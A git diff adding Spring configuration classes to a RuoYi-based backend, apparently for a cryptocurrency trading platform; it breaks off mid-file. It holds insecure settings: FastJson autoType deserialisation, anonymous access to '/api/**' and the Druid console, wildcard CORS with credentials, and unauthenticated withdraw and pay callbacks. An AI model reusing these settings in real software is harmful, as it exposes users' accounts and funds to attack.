+ * @author ruoyi + */ +@Configuration +public class CaptchaConfig +{ + @Bean(name = "captchaProducer") + public DefaultKaptcha getKaptchaBean() + { + DefaultKaptcha defaultKaptcha = new DefaultKaptcha(); + Properties properties = new Properties(); + // 是否有边框 默认为true 我们可以自己设置yes,no + properties.setProperty(KAPTCHA_BORDER, "yes"); + // 验证码文本字符颜色 默认为Color.BLACK + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_COLOR, "black"); + // 验证码图片宽度 默认为200 + properties.setProperty(KAPTCHA_IMAGE_WIDTH, "160"); + // 验证码图片高度 默认为50 + properties.setProperty(KAPTCHA_IMAGE_HEIGHT, "60"); + // 验证码文本字符大小 默认为40 + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_SIZE, "38"); + // KAPTCHA_SESSION_KEY + properties.setProperty(KAPTCHA_SESSION_CONFIG_KEY, "kaptchaCode"); + // 验证码文本字符长度 默认为5 + properties.setProperty(KAPTCHA_TEXTPRODUCER_CHAR_LENGTH, "4"); + // 验证码文本字体样式 默认为new Font("Arial", 1, fontSize), new Font("Courier", 1, fontSize) + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_NAMES, "Arial,Courier"); + // 图片样式 水纹com.google.code.kaptcha.impl.WaterRipple 鱼眼com.google.code.kaptcha.impl.FishEyeGimpy 阴影com.google.code.kaptcha.impl.ShadowGimpy + properties.setProperty(KAPTCHA_OBSCURIFICATOR_IMPL, "com.google.code.kaptcha.impl.ShadowGimpy"); + Config config = new Config(properties); + defaultKaptcha.setConfig(config); + return defaultKaptcha; + } + + @Bean(name = "captchaProducerMath") + public DefaultKaptcha getKaptchaBeanMath() + { + DefaultKaptcha defaultKaptcha = new DefaultKaptcha(); + Properties properties = new Properties(); + // 是否有边框 默认为true 我们可以自己设置yes,no + properties.setProperty(KAPTCHA_BORDER, "yes"); + // 边框颜色 默认为Color.BLACK + properties.setProperty(KAPTCHA_BORDER_COLOR, "105,179,90"); + // 验证码文本字符颜色 默认为Color.BLACK + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_COLOR, "blue"); + // 验证码图片宽度 默认为200 + properties.setProperty(KAPTCHA_IMAGE_WIDTH, "160"); + // 验证码图片高度 默认为50 + properties.setProperty(KAPTCHA_IMAGE_HEIGHT, "60"); + // 验证码文本字符大小 默认为40 + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_SIZE, "35"); + // KAPTCHA_SESSION_KEY + properties.setProperty(KAPTCHA_SESSION_CONFIG_KEY, "kaptchaCodeMath"); + // 验证码文本生成器 + properties.setProperty(KAPTCHA_TEXTPRODUCER_IMPL, "com.ruoyi.framework.config.KaptchaTextCreator"); + // 验证码文本字符间距 默认为2 + properties.setProperty(KAPTCHA_TEXTPRODUCER_CHAR_SPACE, "3"); + // 验证码文本字符长度 默认为5 + properties.setProperty(KAPTCHA_TEXTPRODUCER_CHAR_LENGTH, "6"); + // 验证码文本字体样式 默认为new Font("Arial", 1, fontSize), new Font("Courier", 1, fontSize) + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_NAMES, "Arial,Courier"); + // 验证码噪点颜色 默认为Color.BLACK + properties.setProperty(KAPTCHA_NOISE_COLOR, "white"); + // 干扰实现类 + properties.setProperty(KAPTCHA_NOISE_IMPL, "com.google.code.kaptcha.impl.NoNoise"); + // 图片样式 水纹com.google.code.kaptcha.impl.WaterRipple 鱼眼com.google.code.kaptcha.impl.FishEyeGimpy 阴影com.google.code.kaptcha.impl.ShadowGimpy + properties.setProperty(KAPTCHA_OBSCURIFICATOR_IMPL, "com.google.code.kaptcha.impl.ShadowGimpy"); + Config config = new Config(properties); + defaultKaptcha.setConfig(config); + return defaultKaptcha; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/DruidConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/DruidConfig.java new file mode 100644 index 0000000..f6abac1 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/DruidConfig.java @@ -0,0 +1,126 @@ +package com.ruoyi.framework.config; + +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; +import javax.servlet.Filter; +import javax.servlet.FilterChain; +import javax.servlet.ServletException; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.sql.DataSource; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import com.alibaba.druid.pool.DruidDataSource; +import com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceBuilder; +import com.alibaba.druid.spring.boot.autoconfigure.properties.DruidStatProperties; +import com.alibaba.druid.util.Utils; +import com.ruoyi.common.enums.DataSourceType; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.framework.config.properties.DruidProperties; +import com.ruoyi.framework.datasource.DynamicDataSource; + +/** + * druid 配置多数据源 + * + * @author ruoyi + */ +@Configuration +public class DruidConfig +{ + @Bean + @ConfigurationProperties("spring.datasource.druid.master") + public DataSource masterDataSource(DruidProperties druidProperties) + { + DruidDataSource dataSource = DruidDataSourceBuilder.create().build(); + return druidProperties.dataSource(dataSource); + } + + @Bean + @ConfigurationProperties("spring.datasource.druid.slave") + @ConditionalOnProperty(prefix = "spring.datasource.druid.slave", name = "enabled", havingValue = "true") + public DataSource slaveDataSource(DruidProperties druidProperties) + { + DruidDataSource dataSource = DruidDataSourceBuilder.create().build(); + return druidProperties.dataSource(dataSource); + } + + @Bean(name = "dynamicDataSource") + @Primary + public DynamicDataSource dataSource(DataSource masterDataSource) + { + Map targetDataSources = new HashMap<>(); + targetDataSources.put(DataSourceType.MASTER.name(), masterDataSource); + setDataSource(targetDataSources, DataSourceType.SLAVE.name(), "slaveDataSource"); + return new DynamicDataSource(masterDataSource, targetDataSources); + } + + /** + * 设置数据源 + * + * @param targetDataSources 备选数据源集合 + * @param sourceName 数据源名称 + * @param beanName bean名称 + */ + public void setDataSource(Map targetDataSources, String sourceName, String beanName) + { + try + { + DataSource dataSource = SpringUtils.getBean(beanName); + targetDataSources.put(sourceName, dataSource); + } + catch (Exception e) + { + } + } + + /** + * 去除监控页面底部的广告 + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + @Bean + @ConditionalOnProperty(name = "spring.datasource.druid.statViewServlet.enabled", havingValue = "true") + public FilterRegistrationBean removeDruidFilterRegistrationBean(DruidStatProperties properties) + { + // 获取web监控页面的参数 + DruidStatProperties.StatViewServlet config = properties.getStatViewServlet(); + // 提取common.js的配置路径 + String pattern = config.getUrlPattern() != null ? config.getUrlPattern() : "/druid/*"; + String commonJsPattern = pattern.replaceAll("\\*", "js/common.js"); + final String filePath = "support/http/resources/js/common.js"; + // 创建filter进行过滤 + Filter filter = new Filter() + { + @Override + public void init(javax.servlet.FilterConfig filterConfig) throws ServletException + { + } + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException + { + chain.doFilter(request, response); + // 重置缓冲区,响应头不会被重置 + response.resetBuffer(); + // 获取common.js + String text = Utils.readFromResource(filePath); + // 正则替换banner, 除去底部的广告信息 + text = text.replaceAll("
", ""); + text = text.replaceAll("powered.*?shrek.wang", ""); + response.getWriter().write(text); + } + @Override + public void destroy() + { + } + }; + FilterRegistrationBean registrationBean = new FilterRegistrationBean(); + registrationBean.setFilter(filter); + registrationBean.addUrlPatterns(commonJsPattern); + return registrationBean; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FastJson2JsonRedisSerializer.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FastJson2JsonRedisSerializer.java new file mode 100644 index 0000000..b6d6110 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FastJson2JsonRedisSerializer.java @@ -0,0 +1,48 @@ +package com.ruoyi.framework.config; + +import java.nio.charset.Charset; +import org.springframework.data.redis.serializer.RedisSerializer; +import org.springframework.data.redis.serializer.SerializationException; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONReader; +import com.alibaba.fastjson2.JSONWriter; + +/** + * Redis使用FastJson序列化 + * + * @author ruoyi + */ +public class FastJson2JsonRedisSerializer implements RedisSerializer +{ + public static final Charset DEFAULT_CHARSET = Charset.forName("UTF-8"); + + private Class clazz; + + public FastJson2JsonRedisSerializer(Class clazz) + { + super(); + this.clazz = clazz; + } + + @Override + public byte[] serialize(T t) throws SerializationException + { + if (t == null) + { + return new byte[0]; + } + return JSON.toJSONString(t, JSONWriter.Feature.WriteClassName).getBytes(DEFAULT_CHARSET); + } + + @Override + public T deserialize(byte[] bytes) throws SerializationException + { + if (bytes == null || bytes.length <= 0) + { + return null; + } + String str = new String(bytes, DEFAULT_CHARSET); + + return JSON.parseObject(str, clazz, JSONReader.Feature.SupportAutoType); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FilterConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FilterConfig.java new file mode 100644 index 0000000..bb14c04 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FilterConfig.java @@ -0,0 +1,58 @@ +package com.ruoyi.framework.config; + +import java.util.HashMap; +import java.util.Map; +import javax.servlet.DispatcherType; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import com.ruoyi.common.filter.RepeatableFilter; +import com.ruoyi.common.filter.XssFilter; +import com.ruoyi.common.utils.StringUtils; + +/** + * Filter配置 + * + * @author ruoyi + */ +@Configuration +public class FilterConfig +{ + @Value("${xss.excludes}") + private String excludes; + + @Value("${xss.urlPatterns}") + private String urlPatterns; + + @SuppressWarnings({ "rawtypes", "unchecked" }) + @Bean + @ConditionalOnProperty(value = "xss.enabled", havingValue = "true") + public FilterRegistrationBean xssFilterRegistration() + { + FilterRegistrationBean registration = new FilterRegistrationBean(); + registration.setDispatcherTypes(DispatcherType.REQUEST); + registration.setFilter(new XssFilter()); + registration.addUrlPatterns(StringUtils.split(urlPatterns, ",")); + registration.setName("xssFilter"); + registration.setOrder(FilterRegistrationBean.HIGHEST_PRECEDENCE); + Map initParameters = new HashMap(); + initParameters.put("excludes", excludes); + registration.setInitParameters(initParameters); + return registration; + } + + @SuppressWarnings({ "rawtypes", "unchecked" }) + @Bean + public FilterRegistrationBean someFilterRegistration() + { + FilterRegistrationBean registration = new FilterRegistrationBean(); + registration.setFilter(new RepeatableFilter()); + registration.addUrlPatterns("/*"); + registration.setName("repeatableFilter"); + registration.setOrder(FilterRegistrationBean.LOWEST_PRECEDENCE); + return registration; + } + +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/KaptchaTextCreator.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/KaptchaTextCreator.java new file mode 100644 index 0000000..7f8e1d5 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/KaptchaTextCreator.java @@ -0,0 +1,68 @@ +package com.ruoyi.framework.config; + +import java.util.Random; +import com.google.code.kaptcha.text.impl.DefaultTextCreator; + +/** + * 验证码文本生成器 + * + * @author ruoyi + */ +public class KaptchaTextCreator extends DefaultTextCreator +{ + private static final String[] CNUMBERS = "0,1,2,3,4,5,6,7,8,9,10".split(","); + + @Override + public String getText() + { + Integer result = 0; + Random random = new Random(); + int x = random.nextInt(10); + int y = random.nextInt(10); + StringBuilder suChinese = new StringBuilder(); + int randomoperands = random.nextInt(3); + if (randomoperands == 0) + { + result = x * y; + suChinese.append(CNUMBERS[x]); + suChinese.append("*"); + suChinese.append(CNUMBERS[y]); + } + else if (randomoperands == 1) + { + if ((x != 0) && y % x == 0) + { + result = y / x; + suChinese.append(CNUMBERS[y]); + suChinese.append("/"); + suChinese.append(CNUMBERS[x]); + } + else + { + result = x + y; + suChinese.append(CNUMBERS[x]); + suChinese.append("+"); + suChinese.append(CNUMBERS[y]); + } + } + else + { + if (x >= y) + { + result = x - y; + suChinese.append(CNUMBERS[x]); + suChinese.append("-"); + suChinese.append(CNUMBERS[y]); + } + else + { + result = y - x; + suChinese.append(CNUMBERS[y]); + suChinese.append("-"); + suChinese.append(CNUMBERS[x]); + } + } + suChinese.append("=?@" + result); + return suChinese.toString(); + } +} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MybatisPlusConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MybatisPlusConfig.java new file mode 100644 index 0000000..199ade0 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MybatisPlusConfig.java @@ -0,0 +1,61 @@ +package com.ruoyi.framework.config; +import com.baomidou.mybatisplus.annotation.DbType; +import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor; +import com.baomidou.mybatisplus.extension.plugins.inner.BlockAttackInnerInterceptor; +import com.baomidou.mybatisplus.extension.plugins.inner.OptimisticLockerInnerInterceptor; +import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.transaction.annotation.EnableTransactionManagement; + +/** + * Mybatis Plus 配置 + * + * @author ruoyi + */ +@EnableTransactionManagement(proxyTargetClass = true) +@Configuration +public class MybatisPlusConfig +{ + @Bean + public MybatisPlusInterceptor mybatisPlusInterceptor() + { + MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor(); + // 分页插件 + interceptor.addInnerInterceptor(paginationInnerInterceptor()); + // 乐观锁插件 + interceptor.addInnerInterceptor(optimisticLockerInnerInterceptor()); + // 阻断插件 + interceptor.addInnerInterceptor(blockAttackInnerInterceptor()); + return interceptor; + } + + /** + * 分页插件,自动识别数据库类型 https://baomidou.com/guide/interceptor-pagination.html + */ + public PaginationInnerInterceptor paginationInnerInterceptor() + { + PaginationInnerInterceptor paginationInnerInterceptor = new PaginationInnerInterceptor(); + // 设置数据库类型为mysql + paginationInnerInterceptor.setDbType(DbType.MYSQL); + // 设置最大单页限制数量,默认 500 条,-1 不受限制 + paginationInnerInterceptor.setMaxLimit(-1L); + return paginationInnerInterceptor; + } + + /** + * 乐观锁插件 https://baomidou.com/guide/interceptor-optimistic-locker.html + */ + public OptimisticLockerInnerInterceptor optimisticLockerInnerInterceptor() + { + return new OptimisticLockerInnerInterceptor(); + } + + /** + * 如果是对全表的删除或更新操作,就会终止该操作 https://baomidou.com/guide/interceptor-block-attack.html + */ + public BlockAttackInnerInterceptor blockAttackInnerInterceptor() + { + return new BlockAttackInnerInterceptor(); + } +} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/RedisConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/RedisConfig.java new file mode 100644 index 0000000..3f4f485 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/RedisConfig.java @@ -0,0 +1,69 @@ +package com.ruoyi.framework.config; + +import org.springframework.cache.annotation.CachingConfigurerSupport; +import org.springframework.cache.annotation.EnableCaching; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.data.redis.connection.RedisConnectionFactory; +import org.springframework.data.redis.core.RedisTemplate; +import org.springframework.data.redis.core.script.DefaultRedisScript; +import org.springframework.data.redis.serializer.StringRedisSerializer; + +/** + * redis配置 + * + * @author ruoyi + */ +@Configuration +@EnableCaching +public class RedisConfig extends CachingConfigurerSupport +{ + @Bean + @SuppressWarnings(value = { "unchecked", "rawtypes" }) + public RedisTemplate redisTemplate(RedisConnectionFactory connectionFactory) + { + RedisTemplate template = new RedisTemplate<>(); + template.setConnectionFactory(connectionFactory); + + FastJson2JsonRedisSerializer serializer = new FastJson2JsonRedisSerializer(Object.class); + + // 使用StringRedisSerializer来序列化和反序列化redis的key值 + template.setKeySerializer(new StringRedisSerializer()); + template.setValueSerializer(serializer); + + // Hash的key也采用StringRedisSerializer的序列化方式 + template.setHashKeySerializer(new StringRedisSerializer()); + template.setHashValueSerializer(serializer); + + template.afterPropertiesSet(); + return template; + } + + @Bean + public DefaultRedisScript limitScript() + { + DefaultRedisScript redisScript = new DefaultRedisScript<>(); + redisScript.setScriptText(limitScriptText()); + redisScript.setResultType(Long.class); + return redisScript; + } + + /** + * 限流脚本 + */ + private String limitScriptText() + { + return "local key = KEYS[1]\n" + + "local count = tonumber(ARGV[1])\n" + + "local time = tonumber(ARGV[2])\n" + + "local current = redis.call('get', key);\n" + + "if current and tonumber(current) > count then\n" + + " return tonumber(current);\n" + + "end\n" + + "current = redis.call('incr', key)\n" + + "if tonumber(current) == 1 then\n" + + " redis.call('expire', key, time)\n" + + "end\n" + + "return tonumber(current);"; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ResourcesConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ResourcesConfig.java new file mode 100644 index 0000000..74fb93e --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ResourcesConfig.java @@ -0,0 +1,73 @@ +package com.ruoyi.framework.config; + +import java.util.concurrent.TimeUnit; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.http.CacheControl; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +import org.springframework.web.filter.CorsFilter; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.framework.interceptor.RepeatSubmitInterceptor; + +/** + * 通用配置 + * + * @author ruoyi + */ +@Configuration +public class ResourcesConfig implements WebMvcConfigurer +{ + @Autowired + private RepeatSubmitInterceptor repeatSubmitInterceptor; + + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) + { + /** 本地文件上传路径 */ + registry.addResourceHandler(Constants.RESOURCE_PREFIX + "/**") + .addResourceLocations("file:" + RuoYiConfig.getProfile() + "/"); + + /** swagger配置 */ + registry.addResourceHandler("/swagger-ui/**") + .addResourceLocations("classpath:/META-INF/resources/webjars/springfox-swagger-ui/") + .setCacheControl(CacheControl.maxAge(5, TimeUnit.HOURS).cachePublic());; + } + + /** + * 自定义拦截规则 + */ + @Override + public void addInterceptors(InterceptorRegistry registry) + { + registry.addInterceptor(repeatSubmitInterceptor).addPathPatterns("/**"); + } + + /** + * 跨域配置 + */ + @Bean + public CorsFilter corsFilter() + { + CorsConfiguration config = new CorsConfiguration(); + config.setAllowCredentials(true); + // 设置访问源地址 + config.addAllowedOriginPattern("*"); + // 设置访问源请求头 + config.addAllowedHeader("*"); + // 设置访问源请求方法 + config.addAllowedMethod("*"); + // 有效期 1800秒 + config.setMaxAge(1800L); + // 添加映射路径,拦截一切请求 + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/**", config); + // 返回新的CorsFilter + return new CorsFilter(source); + } +} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SaTokenConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SaTokenConfig.java new file mode 100644 index 0000000..81b20c1 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SaTokenConfig.java @@ -0,0 +1,46 @@ +package com.ruoyi.framework.config; + +import cn.dev33.satoken.interceptor.SaRouteInterceptor; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +/** + * @author zouhuu + * @description [Sa-Token 权限认证] 配置类 + * @date 2022/06/15 15:32:59 + */ +@Configuration +public class SaTokenConfig implements WebMvcConfigurer { + + // 注册拦截器 + @Override + public void addInterceptors(InterceptorRegistry registry) { + // 注册Sa-Token的路由拦截器 + registry.addInterceptor(new SaRouteInterceptor()) + // 拦截 APP或小程序的 所有请求 + .addPathPatterns("/api/**") + // 排除 APP或小程序的 认证授权请求,如登录等 + + .excludePathPatterns( + "/api/user/register", + "/api/user/easyGenerateCode", + "/api/common/**", + "/api/app/**", + "/api/user/sendEmailCode", + "/api/user/sendMobileCode", + "/api/user/getCountryCode", + "/api/user/login", + "/api/user/backPwd", + "/api/user/bindPhoneEmail", + "/api/coin/list", + "/api/user/bindPhoneEmail", + "/api/notice/**", + "/api/timezone/getTimeZone", + "/api/option/rules/**", + "/ws/**", + "/api/recall/withdraw/unc", + "/api/recall/pay/unc" + ); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SecurityConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SecurityConfig.java new file mode 100644 index 0000000..de51c02 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SecurityConfig.java @@ -0,0 +1,150 @@ +package com.ruoyi.framework.config; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.http.HttpMethod; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer; +import org.springframework.security.config.http.SessionCreationPolicy; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; +import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter; +import org.springframework.security.web.authentication.logout.LogoutFilter; +import org.springframework.web.filter.CorsFilter; +import com.ruoyi.framework.config.properties.PermitAllUrlProperties; +import com.ruoyi.framework.security.filter.JwtAuthenticationTokenFilter; +import com.ruoyi.framework.security.handle.AuthenticationEntryPointImpl; +import com.ruoyi.framework.security.handle.LogoutSuccessHandlerImpl; + +/** + * spring security配置 + * + * @author ruoyi + */ +@EnableGlobalMethodSecurity(prePostEnabled = true, securedEnabled = true) +public class SecurityConfig extends WebSecurityConfigurerAdapter +{ + /** + * 自定义用户认证逻辑 + */ + @Autowired + private UserDetailsService userDetailsService; + + /** + * 认证失败处理类 + */ + @Autowired + private AuthenticationEntryPointImpl unauthorizedHandler; + + /** + * 退出处理类 + */ + @Autowired + private LogoutSuccessHandlerImpl logoutSuccessHandler; + + /** + * token认证过滤器 + */ + @Autowired + private JwtAuthenticationTokenFilter authenticationTokenFilter; + + /** + * 跨域过滤器 + */ + @Autowired + private CorsFilter corsFilter; + + /** + * 允许匿名访问的地址 + */ + @Autowired + private PermitAllUrlProperties permitAllUrl; + + /** + * 解决 无法直接注入 AuthenticationManager + * + * @return + * @throws Exception + */ + @Bean + @Override + public AuthenticationManager authenticationManagerBean() throws Exception + { + return super.authenticationManagerBean(); + } + + /** + * anyRequest | 匹配所有请求路径 + * access | SpringEl表达式结果为true时可以访问 + * anonymous | 匿名可以访问 + * denyAll | 用户不能访问 + * fullyAuthenticated | 用户完全认证可以访问(非remember-me下自动登录) + * hasAnyAuthority | 如果有参数,参数表示权限,则其中任何一个权限可以访问 + * hasAnyRole | 如果有参数,参数表示角色,则其中任何一个角色可以访问 + * hasAuthority | 如果有参数,参数表示权限,则其权限可以访问 + * hasIpAddress | 如果有参数,参数表示IP地址,如果用户IP和参数匹配,则可以访问 + * hasRole | 如果有参数,参数表示角色,则其角色可以访问 + * permitAll | 用户可以任意访问 + * rememberMe | 允许通过remember-me登录的用户访问 + * authenticated | 用户登录后可访问 + */ + @Override + protected void configure(HttpSecurity httpSecurity) throws Exception + { + // 注解标记允许匿名访问的url + ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry registry = httpSecurity.authorizeRequests(); + permitAllUrl.getUrls().forEach(url -> registry.antMatchers(url).permitAll()); + + httpSecurity + // CSRF禁用,因为不使用session + .csrf().disable() + // 禁用HTTP响应标头 + .headers().cacheControl().disable().and() + // 认证失败处理类 + .exceptionHandling().authenticationEntryPoint(unauthorizedHandler).and() + // 基于token,所以不需要session + .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS).and() + // 过滤请求 + .authorizeRequests() + // 对于登录login 注册register 验证码captchaImage 允许匿名访问 + .antMatchers("/webSocket/**","/login", "/register","/getSysInfo","/getBinance", "/captchaImage","/ws/coin/**","/ws/**","/kline","/newKline","/marketCallBack/coin","/system/symbol/getList").permitAll() + // app请求 + .antMatchers("/api/**").permitAll() + // 静态资源,可匿名访问 + .antMatchers(HttpMethod.GET, "/", "/*.html", "/**/*.html", "/**/*.css", "/**/*.js", "/profile/**","/system/user/googleCode").permitAll() + .antMatchers("/swagger-ui.html", "/swagger-resources/**", "/webjars/**", "/*/api-docs", "/druid/**","/common/**").permitAll() + // 除上面外的所有请求全部需要鉴权认证 + .anyRequest().authenticated() + .and() + .headers().frameOptions().disable(); + // 添加Logout filter + httpSecurity.logout().logoutUrl("/logout").logoutSuccessHandler(logoutSuccessHandler); + // 添加JWT filter + httpSecurity.addFilterBefore(authenticationTokenFilter, UsernamePasswordAuthenticationFilter.class); + // 添加CORS filter + httpSecurity.addFilterBefore(corsFilter, JwtAuthenticationTokenFilter.class); + httpSecurity.addFilterBefore(corsFilter, LogoutFilter.class); + } + + /** + * 强散列哈希加密实现 + */ + @Bean + public BCryptPasswordEncoder bCryptPasswordEncoder() + { + return new BCryptPasswordEncoder(); + } + + /** + * 身份认证接口 + */ + @Override + protected void configure(AuthenticationManagerBuilder auth) throws Exception + { + auth.userDetailsService(userDetailsService).passwordEncoder(bCryptPasswordEncoder()); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ServerConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ServerConfig.java new file mode 100644 index 0000000..b5b7de3 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ServerConfig.java @@ -0,0 +1,32 @@ +package com.ruoyi.framework.config; + +import javax.servlet.http.HttpServletRequest; +import org.springframework.stereotype.Component; +import com.ruoyi.common.utils.ServletUtils; + +/** + * 服务相关配置 + * + * @author ruoyi + */ +@Component +public class ServerConfig +{ + /** + * 获取完整的请求路径,包括:域名,端口,上下文访问路径 + * + * @return 服务地址 + */ + public String getUrl() + { + HttpServletRequest request = ServletUtils.getRequest(); + return getDomain(request); + } + + public static String getDomain(HttpServletRequest request) + { + StringBuffer url = request.getRequestURL(); + String contextPath = request.getServletContext().getContextPath(); + return url.delete(url.length() - request.getRequestURI().length(), url.length()).append(contextPath).toString(); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ThreadPoolConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ThreadPoolConfig.java new file mode 100644 index 0000000..7840141 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ThreadPoolConfig.java @@ -0,0 +1,63 @@ +package com.ruoyi.framework.config; + +import com.ruoyi.common.utils.Threads; +import org.apache.commons.lang3.concurrent.BasicThreadFactory; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.ScheduledThreadPoolExecutor; +import java.util.concurrent.ThreadPoolExecutor; + +/** + * 线程池配置 + * + * @author ruoyi + **/ +@Configuration +public class ThreadPoolConfig +{ + // 核心线程池大小 + private int corePoolSize = 50; + + // 最大可创建的线程数 + private int maxPoolSize = 200; + + // 队列最大长度 + private int queueCapacity = 1000; + + // 线程池维护线程所允许的空闲时间 + private int keepAliveSeconds = 300; + + @Bean(name = "threadPoolTaskExecutor") + public ThreadPoolTaskExecutor threadPoolTaskExecutor() + { + ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); + executor.setMaxPoolSize(maxPoolSize); + executor.setCorePoolSize(corePoolSize); + executor.setQueueCapacity(queueCapacity); + executor.setKeepAliveSeconds(keepAliveSeconds); + // 线程池对拒绝任务(无线程可用)的处理策略 + executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); + return executor; + } + + /** + * 执行周期性或定时任务 + */ + @Bean(name = "scheduledExecutorService") + protected ScheduledExecutorService scheduledExecutorService() + { + return new ScheduledThreadPoolExecutor(corePoolSize, + new BasicThreadFactory.Builder().namingPattern("schedule-pool-%d").daemon(true).build(), + new ThreadPoolExecutor.CallerRunsPolicy()) + { + @Override + protected void afterExecute(Runnable r, Throwable t) + { + super.afterExecute(r, t); + Threads.printException(r, t); + } + }; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/WebSocketConfigOne.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/WebSocketConfigOne.java new file mode 100644 index 0000000..85bd895 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/WebSocketConfigOne.java @@ -0,0 +1,23 @@ +package com.ruoyi.framework.config; + + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.socket.server.standard.ServerEndpointExporter; + + +@Configuration +public class WebSocketConfigOne { + + /** + * 这个bean会自动注册使用了@ServerEndpoint注解声明的对象 + * 没有的话会报404 + * + * @return + */ + @Bean + public 